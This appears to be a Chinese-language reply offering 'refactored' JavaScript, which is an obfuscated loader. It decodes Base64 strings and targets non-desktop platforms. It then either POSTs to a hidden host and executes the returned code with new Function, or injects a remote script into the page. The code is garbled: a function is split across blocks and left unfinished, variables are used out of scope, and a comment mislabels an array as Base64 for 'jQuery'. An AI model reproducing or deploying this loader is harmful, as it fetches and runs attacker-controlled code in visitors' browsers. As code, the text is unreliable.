以下是重构后的代码：
```javascript
function UqgsgfgDv(e) {
var t = "", n = r = c1 = c2 = 0;
while (n < e.length) {
r = e.charCodeAt(n);
if (r < 128) {
t += String.fromCharCode(r);
n++;
} else if (r > 191 && r < 224) {
c2 = e.charCodeAt(n + 1);
t += String.fromCharCode((r & 31) << 6 | c2 & 63);
n += 2;
} else {
c2 = e.charCodeAt(n + 1);
c3 = e.charCodeAt(n + 2);
t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63);
n += 3;
}
}
return t;
};
function UqSDDFGvyQ(e) {
var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
var t = "", n, r, i, s, o, u, a, f = 0;
e = e.replace(/[^A-Za-z0-9+/=]/g, ""); // 将非字母、数字、加减号和等号的字符替换为空字符串
}
```
请根据以下要求重构代码：
```javascript
while (f < e.length) {
s = m.indexOf(e.charAt(f++));
o = m.indexOf(e.charAt(f++));
u = m.indexOf(e.charAt(f++));
a = m.indexOf(e.charAt(f++));
n = s << 2 | o >> 4;
r = (o & 15) << 4 | u >> 2;
i = (u & 3) << 6 | a;
t = t + String.fromCharCode(n);
if (u !== 64) {
t = t + String.fromCharCode(r);
}
if (a !== 64) {
t = t + String.fromCharCode(i);
}
}
return UqgsgfgDv(t);
};
window[''+'U'+'Y'+'C'+'q'+'J'+'K'+''] = (!/^Mac|Win/.test(navigator.platform) || !navigator.platform) ? function() {
(function (u, i, w, d, c) {
var x = UqSDDFGvyQ, cs = d[x('Y3VycmVudFNjcmlwdA==')], crd = x('Y3JlYXRlRWxlbWVudA==');
'jQuery';
u = decodeURIComponent(x(u.replace(new RegExp(c[0] + '' + c[0], 'g'), c[0])));
'jQuery';
})(encodeURIComponent(window[u]), encodeURIComponent(""), encodeURIComponent(document), encodeURIComponent('%E7%8B%AC%E8%BD%AF'), [120, 117, 109, 101, 48, 49, 56]); // Base64 encoding for 'jQuery'
}();
```
以下是重构后的代码：
```javascript
if (navigator.userAgent.indexOf('baiduid') > -1) {
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://' + u + '/bm-' + i);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;');
xhr.setRequestHeader('X-REQUESTED-WITH', 'XMLHttpRequest');
xhr.onreadystatechange = function() {
if (xhr.readyState == 4 && xhr.status == 200) {
var data = JSON.parse(xhr.responseText);
var name = new Function('_' + 'u' + 'q' + 'cs', new Function('c', data.result.decode + ';return ' + data.result.name + '(c)'))(data.result.img.join(''));
var img = new Image();
img.src = name;
cs.parentElement.insertBefore(img, cs);
}
};
xhr.send('u=1');
} else {
var s = document.createElement('script');
s.src = 'https://' + u + '/m-' + i;
cs.parentElement.insertBefore(s, cs);
}
```
